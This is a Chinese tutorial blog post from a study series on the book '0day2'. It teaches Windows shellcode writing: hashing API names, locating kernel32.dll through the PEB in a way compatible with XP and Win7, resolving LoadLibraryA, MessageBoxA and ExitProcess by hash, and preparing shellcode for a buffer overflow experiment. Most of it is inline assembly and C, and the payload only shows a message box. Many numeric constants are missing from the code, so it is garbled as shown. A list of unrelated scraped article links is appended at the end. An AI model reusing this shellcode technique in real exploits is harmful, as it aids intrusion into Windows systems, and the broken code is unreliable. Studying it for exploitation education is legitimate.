通过以上3篇文章的学习,我们已经可以获取到kernel32.dll的地址了下一步 我们就是获取几个重要的函数

1.GetProcAddress 2.LoadLibrary 有了这两个函数很多函数都可以找到了,这节的目的最终就是找到这两个函数,为了便于测试和验证我们还要动态获取下MessageBoxA函数,最后弹出个对话窗口,还要安全退出那就要用到ExitProcess。

那么咱们就结合0day2第三章的知识,通过hash来查找的相应的函数名称,再间接获取函数地址

首先我们先来找到hash

 #include "stdafx.h"
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fname)
{
printf("%s",fname);
DWORD dret = ;
while(*fname)
{
dret = ((dret<<)|(dret>>));
dret += *fname;
fname++;
}
printf(" function`s hash is %.8x\n",dret);
return dret;
}
int main(int argc, char* argv[])
{
//char fname[]={"MessageBoxA"};
//DWORD dret = GetHash(fname);
Gethash("ExitProcess");
GetHash("MessageBoxA");
GetHash("LoadLibraryA");
GetHash("GetProcAddress");
return ;
}
MessageBoxA function`s hash is 1e380a6a
ExitProcess function`s hash is 4fd18963
LoadLibraryA function`s hash is 0c917432
GetProcAddress function`s hash is bbafdf85

代码执行结果。

     nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
mov ebx,fs:[0x30]
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
mov ecx,[ecx] // 获取地2个链表
mov ecx,[ecx] // 获取第三个链表 win7 下必须加这一行, xp下注释这行
mov ebp,[ecx +0x08] find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop

以上代码可以在win7下成功运行,只是不兼容xp,xp下测试要注释掉31行处。

所以我们还得想办法。

解决xp win7兼容问题,以下代码来自看雪 http://bbs.pediy.com/showthread.php?t=122260&highlight=next_module 感谢cryin

 但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址;

具体代码实现方法:
;find kernel32.dll
find_kernel32:
push esi
xor ecx, ecx
mov esi, [fs:ecx+0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov eax, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx     //判断下 12 字符处是否为字符串结尾, kernel32.dll 就是12个长度
jne next_module
pop esi
Ret

经过改造和测试(xp win7下测试通过的代码)的汇编代码

 // 兼容win7 xp 的获取kernel32.dll地址,查找所需函数并弹窗的测试
_asm
{
nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
find_kernel32:
mov ebx,fs:[edx + 0x30]       // 加上这个 edx 可以缩短shellcode长度,还没有00
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
//mov ecx,[ecx] // 获取地2个链表
//mov ecx,[ecx] // 获取第三个链表
push edi
push esi
next_module: mov ebp,[ecx +0x08] // dll 的地址
mov edi,[ecx+0x20] // AddressOfNames
mov ecx,[ecx]
cmp [edi+*],dx
jne next_module pop esi
pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
}

此代码兼容xp_win7 弹窗

接下来我们 提取shellcode,并结合第一节课,做成功溢出的实验

感谢 failwest、cryin

----------------------------------------------------

| QQ252738331

| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)

| 微博:http://t.qq.com/zhenw0

----------------------------------------------------

旧书重温:0day2【4】动态获取函数地址的更多相关文章

  1. .Net CLR GC动态获取函数头地址,C++的骚操作(慎入)

    前言: 太懒了,从没有在这里正儿八经的写过文章.看到一些人的高产,真是惭愧.决定稍微变得不那么懒.如有疏漏,请指正. .net的GC都谈的很多了,本篇主要是剑走偏锋,聊聊一些个人认为较为核心的细节方面 ...

  2. php中如何动态获取函数的参数

    php动态获取函数参数 一.总结 一句话总结:a.PHP 在用户自定义函数中支持可变数量的参数列表.其实很简单,只需使用 func_num_args() , func_get_arg() ,和 fun ...

  3. 1. 通过DHCP服务器动态获取IP地址之后无法上网的解决方法

    故障:内网正常,在同一个局域网内的其它PC端通过DHCP获取IP地址并且可以正常上网. 1.通过wireshark抓包,使用ipconfig /renew时,wireshark内出现DHCP请求服务, ...

  4. 001_centos7配置网络动态获取IP地址

    笔者今天刚装完centos7的虚拟机,发现无法获取IP地址,经过网上查询资料,发现centos7是默认没有网络配置的,需要手工配置. 而centos7与centos6不同,没有了config命令,所以 ...

  5. php动态获取函数参数

    PHP 在用户自定义函数中支持可变数量的参数列表.其实很简单,只需使用 func_num_args() , func_get_arg() ,和 func_get_args()  函数即可. 可变参数并 ...

  6. PHP实现动态获取函数参数的方法

    1. func_num_args — 返回传入函数的参数总个数 int func_num_args ( void ) 示例 <?php function demo () { $numargs = ...

  7. FL2440 rt3070模块station模式动态获取IP地址

    ---------------------------------------------------------------------------------------------------- ...

  8. 日志系统实战(二)-AOP动态获取运行时数据

    介绍 这篇距上一篇已经拖3个月之久了,批评自己下. 通过上篇介绍了解如何利用mono反射代码,可以拿出编译好的静态数据.例如方法参数信息之类的. 但实际情况是往往需要的是运行时的数据,就是用户输入等外 ...

  9. 使用Mono Cecil 动态获取运行时数据 (Atribute形式 进行注入 用于写Log) [此文报考 xxx is declared in another module and needs to be imported的解决方法]-摘自网络

    目录 一:普通写法 二:注入定义 三:Weave函数 四:参数构造 五:业务编写 六:注入调用 7.  怎么调用别的程序集的方法示例 8. [is declared in another module ...

随机推荐

  1. 练Focus T25必看!T25课表 视频与成功案例汇总

    练Focus T25必看!T25课表 视频与成功案例汇总! [复制链接]  http://jianfei.39.net/thread-3645799-1.html     小西i减肥         ...

  2. JS相关方法总计

    1. 锚点的使用: 简单使用: <a href="#001">跳到001</a> ...文字省略 <a name="001" id ...

  3. 002. MySQL复制操作

    #### 1.Setting the Replication Master Configuration On a replication master, you must enable binary  ...

  4. Saltstack 命令行:批量覆盖指定文件

    master指定文件,覆盖到所有minion命令 salt-cp '*' /etc/hosts /etc/ -------------------------------------------- { ...

  5. 如何评价一个pipeline的好坏

    生物信息NGS相关软件众多. 常用的比对软件:bwa,bowtie: 去pcr重复的软件\:samtools,picard: calling variant:samtools/bcftools,gat ...

  6. [Usaco2008 Open]Word Power 名字的能量

    1622: [Usaco2008 Open]Word Power 名字的能量 Time Limit: 5 Sec  Memory Limit: 64 MBSubmit: 408  Solved: 19 ...

  7. [BZOJ1823]满汉全席

    Description 满汉全席是中国最丰盛的宴客菜肴,有许多种不同的材料透过满族或是汉族的料理方式,呈现在數量繁多的菜色之中.由于菜色众多而繁杂,只有极少數博学多闻技艺高超的厨师能够做出满汉全席,而 ...

  8. hermite插值

    Hermite 插值就是要求插值函数不仅经过所给节点,而且要保证在该点的导数也相等.<备注:虽然还不理解这句话,但是还是先放这里!> 所谓样条曲线(Spline Curves)是指给定一组 ...

  9. 浅谈 django Models中的跨表

    跨表操作在数据库操作非常常用,虽然其会降低读取数据的性能,但是它能节约数据在硬盘中的占用,优化数据表的结构和各自之间的关系. 在sql中,一般跨表需要用到 join 关键字 select * from ...

  10. python学习笔记(pict+subprocess)

    这几天看到接口自动化用例的生成,关于这里博主自己也想了想,是否可以根据参数的范围自动生成用例,这样就不用一条一条的写接口测试用例 这里就设计到用例设计的方法,让我想到之前接触过一款微软的用例自动生成工 ...